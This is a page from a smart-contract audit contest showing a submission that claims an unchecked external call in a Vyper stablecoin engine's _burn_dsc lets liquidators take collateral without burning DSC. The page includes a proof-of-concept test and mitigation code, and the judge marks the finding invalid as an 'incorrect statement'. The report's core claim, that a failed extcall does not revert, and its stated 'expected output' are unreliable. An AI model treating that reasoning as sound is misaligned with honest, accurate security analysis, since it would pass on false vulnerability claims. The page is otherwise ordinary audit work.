Algo Ssstablecoinsss

AI First Flight #2
Beginner FriendlyDeFi
EXP
View results
Submission Details
Impact: high
Likelihood: high
Invalid

Uncalculated External Call in `_burn_dsc` Allows Free Collateral Extraction

Summary

The _burn_dsc function in dsc_engine.vy performs an external call to DSC.burn_from() without checking its success status. In the liquidate function, collateral is transferred to the liquidator via _redeem_collateral before the DSC is burned. If the burn_from call fails (e.g., due to insufficient DSC balance or lack of approval), the contract state is still updated (the user's debt is reduced) and the liquidator keeps the collateral. This allows a malicious liquidator to extract protocol collateral for free.


Description

In the liquidate function, the protocol redeems collateral and then burns the debt:

self._redeem_collateral(
collateral,
token_amount_from_debt_covered + bonus_collateral,
user,
msg.sender,
)
self._burn_dsc(debt_to_cover, user, msg.sender)

The _burn_dsc function uses an extcall without checking the return value:

@internal
def _burn_dsc(
amount_dsc_to_burn: uint256, on_behalf_of: address, dsc_from: address
):
self.user_to_dsc_minted[on_behalf_of] -= amount_dsc_to_burn
# Note, we are not checking success here
extcall DSC.burn_from(dsc_from, amount_dsc_to_burn)

In Vyper, extcall does not automatically revert if the external call fails. Because the collateral has already been transferred to the liquidator in the preceding _redeem_collateral call, a failure in burn_from results in the liquidator receiving the collateral without actually burning the required DSC.


Risk

Severity: Critical
Likelihood: High
Impact: Critical

An attacker can:

  1. Find a user with an unhealthy position (health factor < 1).

  2. Call liquidate() without holding or approving the required amount of DSC.

  3. The _redeem_collateral function transfers the collateral (plus 10% bonus) to the attacker.

  4. The _burn_dsc function attempts to burn DSC, fails silently, but the user's debt is still marked as reduced.

This results in:

  • Complete loss of protocol collateral.

  • The attacker receives free collateral and liquidation bonus.

  • The protocol's accounting is permanently broken.


Proof of Concept

Add this test to tests/test_dsc_engine.py:

import boa
import pytest
from eth_utils import to_wei
COLLATERAL_AMOUNT = to_wei(10, "ether")
AMOUNT_TO_MINT = to_wei(100, "ether")
COLLATERAL_TO_COVER = to_wei(20, "ether")
def test_liquidator_gets_free_collateral_when_burn_fails(
dsce, dsc, some_user, liquidator, weth, eth_usd
):
# 1. User deposits collateral and mints DSC
with boa.env.prank(some_user):
weth.approve(dsce.address, COLLATERAL_AMOUNT)
dsce.deposit_collateral_and_mint_dsc(weth.address, COLLATERAL_AMOUNT, AMOUNT_TO_MINT)
# 2. Drop price to make user unhealthy (Health Factor < 1)
eth_usd.updateAnswer(18 * 10**8) # $18
# 3. Liquidator attempts to liquidate WITHOUT approving DSC to the engine
# This means burn_from will fail internally
with boa.env.prank(liquidator):
weth.approve(dsce.address, COLLATERAL_TO_COVER)
# This should revert if success was checked, but it doesn't!
dsce.liquidate(weth.address, some_user, AMOUNT_TO_MINT)
# 4. Assert liquidator got the collateral for free
liquidator_weth_balance = weth.balanceOf(liquidator)
assert liquidator_weth_balance > 0, "Liquidator should have received collateral"
# 5. Assert user's debt was incorrectly reduced even though DSC wasn't burned
user_dsc_minted, _ = dsce.get_account_information(some_user)
assert user_dsc_minted == 0, "User debt was cleared without burning DSC!"
print("✅ CRITICAL VULNERABILITY EXPLOITED!")
print("Liquidator got free collateral without burning DSC.")

Run: mox test -k test_liquidator_gets_free_collateral_when_burn_fails

Expected Output:

✅ CRITICAL VULNERABILITY EXPLOITED!
Liquidator got free collateral without burning DSC.

Recommended Mitigation

Option 1: Check the success of the external call (Recommended)

Update _burn_dsc to verify the external call succeeded:

@internal
def _burn_dsc(
amount_dsc_to_burn: uint256, on_behalf_of: address, dsc_from: address
):
self.user_to_dsc_minted[on_behalf_of] -= amount_dsc_to_burn
success: bool = extcall DSC.burn_from(dsc_from, amount_dsc_to_burn)
assert success, "DSCEngine_BurnFailed"

Option 2: Reorder operations in liquidate

Call _burn_dsc before _redeem_collateral to ensure the debt is covered before releasing collateral:

@external
def liquidate(collateral: address, user: address, debt_to_cover: uint256):
# ... existing checks ...
# Burn DSC FIRST
self._burn_dsc(debt_to_cover, user, msg.sender)
# Then redeem collateral
self._redeem_collateral(
collateral,
token_amount_from_debt_covered + bonus_collateral,
user,
msg.sender,
)
# ... existing checks ...

Why This Works:
Checking the success status ensures that if the DSC cannot be burned, the entire transaction reverts, preventing the loss of collateral. Reordering ensures debt is covered before collateral is released.

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 4 hours ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!